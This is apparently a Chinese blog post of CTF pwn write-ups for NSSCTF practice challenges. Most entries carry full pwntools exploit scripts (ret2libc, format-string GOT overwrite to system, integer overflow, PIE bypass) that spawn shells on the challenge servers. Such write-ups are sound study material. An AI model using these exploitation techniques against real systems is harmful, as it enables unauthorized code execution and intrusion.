【WP 0x01?】

buu的题那个梯度我觉得没啥意思,跑来NSS开刷,放个nss的网站先:

题库 | NSSCTF

虽然水平已经超过了简单的栈题不少了,但是还是从头刷吧,毕竟很享受这种炸鱼和全绿的快感

然后nss上面题的顺序很怪异,我是按照第一个点进去之后下一个题的形式刷的,我也不知道后续看我博客的人是怎么个刷法,所以题名边上我挂个id吧,顺序我也不管了

0x01 nc id389

su开启root权限然后catflag,后面看了下题解还有python绕过的方法,咱也不知道哪个是预期

0x02 gift id390

简单的ret2text,exp写完忘存了..

0x03 whitegive id391

ret2libc,这题searcher不太好使,不知道为什么,很烦人

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node2.anna.nssctf.cn",28101)
#r=process("./nss2")
elf=ELF("./nss3")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln_addr=0x4006ba
rdi_ret=0x400763
payload1=b'a'*0x18+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.sendline(payload1)

puts_addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("puts="+hex(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+0x18ce57

payload2=b'a'*0x18+p64(rdi_ret)+p64(binsh_addr)+p64(sys_addr)
r.sendline(payload2)
r.interactive()

0x04 [CISCN 2019华北]PWN1 id100

简单的覆写,👴8想🍼+

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28070)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

payload=b'a'*0x2c+p32(0x41348000)
r.sendline(payload)
r.interactive()

0x05 NSS_printer_I id392

什么jb玩意,不够溢出,但是栈上有基址和脏数据可以泄露libc

然后got表劫持,改printf为system输入binsh

我为什么骂呢,因为拿工具写必须得写一个write_size='short',限制逐byte写,不加就写不进去,但是完事之后看别的exp有的也能写,不知道为什么但怀疑可能是2.23libc的事,有点闹心

exp:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28737)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

r.recvuntil("say: ")
r.sendline("%21$p-%25$p")
r.recvuntil("said:")
main=int(r.recv(14),16)-240
print("main="+hex(main))
r.recvuntil("-")
base=int(r.recv(14),16)-0xa14
print("base="+hex(base))
printf_got=base+elf.got["printf"]
libc=LibcSearcher("__libc_start_main",main)
libc_base=main-libc.dump("__libc_start_main")
sysaddr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload1=fmtstr_payload(6,{printf_got:sysaddr},write_size='short')
r.sendline(payload1)
r.sendline(b'/bin/sh\x00')
r.interactive()

0x06 [BJDCTF 2020]babystack2.0 id709

跑的时候直接报段错误,甚至连pwntools的elf都出错,8懂

但是题本身就是一个简单的整数溢出,输入一个负数之后下面的无符号转换可以转换出一个巨大的数去ret2text,

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28868)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

backdoor=0x400726
r.sendline("-1")
payload=b'a'*0x18+p64(backdoor)
r.sendline(payload)
r.interactive()

0x07 [NISACTF 2022]ReorPwn? id2158

hhhhh这个题确实好玩,不想放解题过程了,确实是repwn

看懂逻辑的估计也不用exp,随便就做出来了,逻辑也不是很难懂,真滴好玩

image

0x08 [BJDCTF 2020]babystack id705

能控制溢出长度的ret2️⃣text

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('node4.anna.nssctf.cn',28212)

backdoor = 0x04006EA
payload = b'a' * 0x18 + p64(backdoor)

r.sendlineafter('name:\n','-1')
r.sendlineafter('name?',payload)
r.interactive()

0x09 [BJDCTF 2020]babyrouter id706

进去乍一看一堆case还以为什么堆题,结果看到个system,得

image

疑似拿不了shell,那就cat吧

0x0a [BJDCTF 2020]dizzy id710

什么JB怪题,又是类似于repwn的那么个东西,看懂指针和逻辑,能看出来只经过了一次+114514的加密,但是要通过u32去发送,感觉很怪,查来查去看了一遍也不是很完全懂,贴个exp算了

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28013)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def getaddr64():
    u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))

def getaddr32():
    u32(r.recv(4))

def dbg():
    gdb.attach(r)
    pause()

flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"

for i in range(7):
    a= i * 4
    r.sendline(str(u32(flag[a:a+4])-114514))
for i in range(13):
    r.sendline("2224252424")    
r.interactive()

0x0b [HNCTF 2022 Week1]easync id2928

有丶意思,8是普通的nc题,有点看linux命令的运用了,考虑收编

会用cd和ls就好:

image

先到这,后续刷的题都放在这,遇到什么好题也放在这个合集里面,to be continued

0x0c Yukkurisay(2023hgameweek2)

放这个题之前说个一两句题外话,之前拿hexo搭了一个静态博客,结果不知道为什么崩掉了然后我搬到了博客园,把之前花过一些时间研究的第一道非栈格式化字符串放到这里吧
image

首先检查保护,看到开了canary和NX。

然后进ida,源码:

image

首先是输入一串东西,然后用print_str函数打印了一个yukkuri和输入的这个buf,此时的buf在栈上。

在退出yukkuri这个系统之后找到了可以利用的格式化字符串,但是这个str在bss段(非栈上)

然后我的第一个想法来了,先用上面的buf布栈,再用下面的str查看是第几个参数,发现是第8个(这个过程我就不放图了)

又因为这个题是开启了部分RELRO,我们可以修改got表,所以我的想法是将printf的got直接改成system,再手动输入/bin/sh来getshell。

思路实现

  • 首先我们要找到system地址,也就是泄露libc,但是又因为开了canary,所以思路是找到栈上的脏数据(IOstderr)去找到libc版本
  • 泄露到libc版本的同时也要将栈地址泄露出来,因为后续格式化字符串写完地址之后要返回到下面的gift处,所以格式化字符串也要顺路修改返回地址
  • 然后就是布栈等等过程,先一步步来

Exploit

image

payload1=b'a'*0x97+b'b'*0x01
r.sendafter('What would you like to let Yukkri say?',payload1)
r.recvuntil(b'b')
IOstderr_libc=u64(r.recv(6).ljust(8,b"\x00"))
print(hex(IOstderr_libc))

看图可以找到脏数据的地址并泄露,栈地址也在图中可以找到,同理我就不放泄露栈的代码了

这里要注意就是要顺序泄露地址,因为输入就是输入了,不会再复原脏数据。

布栈

上面分析的时候说过,我们要把要修改的东西先利用循环里的buf放到栈里,所以我们这里先想想要修改些什么:print的got表地址,返回地址;

返回地址方面,看一下ida,只需要修改两个字节就可以了,got表地址这里我们只需要修改三个字节(libc偏移只包括后三个字节)

所以栈实际上应该布置成这样:

payload3=p64(pri_got)+p64(stack_addr+0x118)+p64(pri_got+1)

pri_got是printf的got表地址,第二个是返回地址,第三个+1是因为小端序,低位保存在低地址,+1直接把最后一个字节推走,留下我们需要修改的printf的got表的低二三字节。

这里还涉及一个问题就是格式化字符串修改地址的时候根据%n,但是:

  • %n这个东西是从小到大的
  • 三个字节我们需要修改两次,一次是hhn一个字节,一次是hn两个字节

根据ida,我们要把返回地址0x40170e改成401671,所以要修改两个字节,顺序就出来了:

1、首先是system的低1字节

2、170e->1671(system二三字节比1671大的可能性很高)

3、system的二三字节

综上,布栈完毕。

fmt修改

r.sendlineafter('else?(Y/n)',b'n')
print(hex(system_addr))
sys1=system_addr&0xff
sys2=(system_addr>>8)&0xffff
gift_addr=gift&0xffff
payload4='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
r.sendlineafter('gift for you: \n',payload4)

首先退出循环,用与运算将各字节数据拿出来,然后用str字符串往栈里写。

为什么要减去,因为每次格式化字符串写的时候是包括前面的,而且我们也只有一次机会去写入。

贴个效果图:
image
左边system和右边对照,改成,本地打通。

这里我时不时会遇到没改对也能打通的情况,好像原因是因为我断点打的有点问题?

总之思路是这样没什么问题,下面放一个完整的exp:

from pwn import *
context(arch='amd64',os='linux')
r=process('./fmt')
elf=ELF('fmt')

payload1=b'a'*0x97+b'b'*0x01
r.sendafter('What would you like to let Yukkri say?',payload1)
r.recvuntil(b'b')
IOstderr_libc=u64(r.recv(6).ljust(8,b"\x00"))
print(hex(IOstderr_libc))

IOstderr_offset=0x21a6a0
libc_base=IOstderr_libc-IOstderr_offset
print(hex(libc_base))
system_offset=0x050d60
system_addr=libc_base+system_offset

payload2=b'a'*0xff+b'c'*0x01
r.sendlineafter('else?(Y/n)',b'y')

r.send(payload2)
r.recvuntil(b'c')
stack_addr=u64(r.recv(6).ljust(8,b'\x00'))-0x120
success('stack_addr:'+hex(stack_addr))

r.sendlineafter('else?(Y/n)',b'y')

pri_got=elf.got['printf']
payload3=p64(pri_got)+p64(stack_addr+280)+p64(pri_got+1)
r.send(payload3)

gift=0x401671
r.sendlineafter('else?(Y/n)',b'n')
print("system_addr="+hex(system_addr))
sys1=system_addr&0xff
sys2=(system_addr>>8)&0xffff
gift_addr=gift&0xffff
payload4='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
r.sendlineafter('gift for you: \n',payload4)
gdb.attach(r)
pause()
sleep(0.5)
r.sendline(b'/bin/sh\x00')
r.interactive()

0x0d [NISACTF 2022]ezstack id2057

确实ezstack,ret2text,找个字符串的事

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./babyof")
r=remote("node4.anna.nssctf.cn",28872)
elf=ELF("./babyof")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def getaddr64():
    u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))

def getaddr32():
    u32(r.recv(4))

def dbg():
    gdb.attach(r)
    pause()

dead=0xdeadbeaf
sysaddr=0x08048390
binshaddr=0x0804a024

payload=b'otto'*17+p32(sysaddr)+p32(dead)+p32(binshaddr)
rcvtil("NISACTF\n")
sl(payload)
r.interactive()

0x0e [2021 鹤城杯]babyof id469

简单的ret2libc,有输出函数,retlibc3️⃣

哦还有个不咋简单的地方,就是最后一次payload要加个ret对齐,这个问题可以自行拿Ubuntu18+去调+动用搜索引擎解决(感觉有点不负责,但是还是调的好

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=process("./babyof")
#r=remote("node4.anna.nssctf.cn",28605)
elf=ELF("./babyof")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def dbg():
    gdb.attach(r)
    pause()

putsplt=elf.plt["puts"]
putsgot=elf.got["puts"]
vulnaddr=0x400632
rdiret=0x400743
ret=0x400506

rcvtil("overflow?")
payload1=b'a'*0x48+p64(rdiret)+p64(putsgot)+p64(putsplt)+p64(vulnaddr)
sl(payload1)

rcvtil("win")
putsaddr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("putsaddr="+hex(putsaddr))
libc=LibcSearcher("puts",putsaddr)
libc_base=putsaddr-libc.dump("puts")
sysaddr=libc_base+libc.dump("system")
binshaddr=libc_base+libc.dump("str_bin_sh")

payload2=b'a'*0x48+p64(ret)+p64(rdiret)+p64(binshaddr)+p64(sysaddr)+p64(0xdeadbeaf)
sl(payload2)
dbg()
r.interactive()

0x0f [NISACTF 2022]ezpie id2059

最基础的pie保护利用,所以什么是pie就稍微调用一下搜索引擎吧

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node1.anna.nssctf.cn",28898)
elf=ELF("./nss")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def dbg():
    gdb.attach(r)
    pause()

rcvtil("0x")
mainaddr=int(r.recv(8),16)
print("mainaddr="+hex(mainaddr))

pie_base=mainaddr-0x770
shelladdr=pie_base+0x80f

payload=b'a'*0x2c+p32(shelladdr)
sl(payload)
r.interactive()

0x10 [GFCTF 2021]where_is_shell id889

特殊的ret2text,新知识点1是shell可以让参数为$0,2是可以找代表$0的操作码(24 30)

去ida翻一下吧,tips里面有的OvO

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node2.anna.nssctf.cn",28217)
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def dbg():
    gdb.attach(r)
    pause()

ret=0x400416
rdiret=0x4005e3
shell=0x400541
sysaddr=elf.plt["system"]
payload=b'a'*0x18+p64(ret)+p64(rdiret)+p64(shell)+p64(sysaddr)
sl(payload)
r.interactive()

0x11 [watevrCTF 2019]Voting Machine 1 id85

看起来复杂的txet2ter

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node2.anna.nssctf.cn",28217)
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def dbg():
    gdb.attach(r)
    pause()

payload=b'a'*0x0a+p64(0x400807)
sl(payload)
r.interactive()

稍微锤一下我自己,没啥用的模板套了好多行🔨

0x12 [CISCN 2019东北]PWN2 id95

看这博客的估计没人没做过这题吧..本人直接复制exp了,做太多遍懒得做了

总结

5.30到这应该把第一页的都放这了,准备开个新的放第二页的题吧那就

posted @ 2023-05-25 19:28  Lu0  阅读(184)  评论(0)    收藏  举报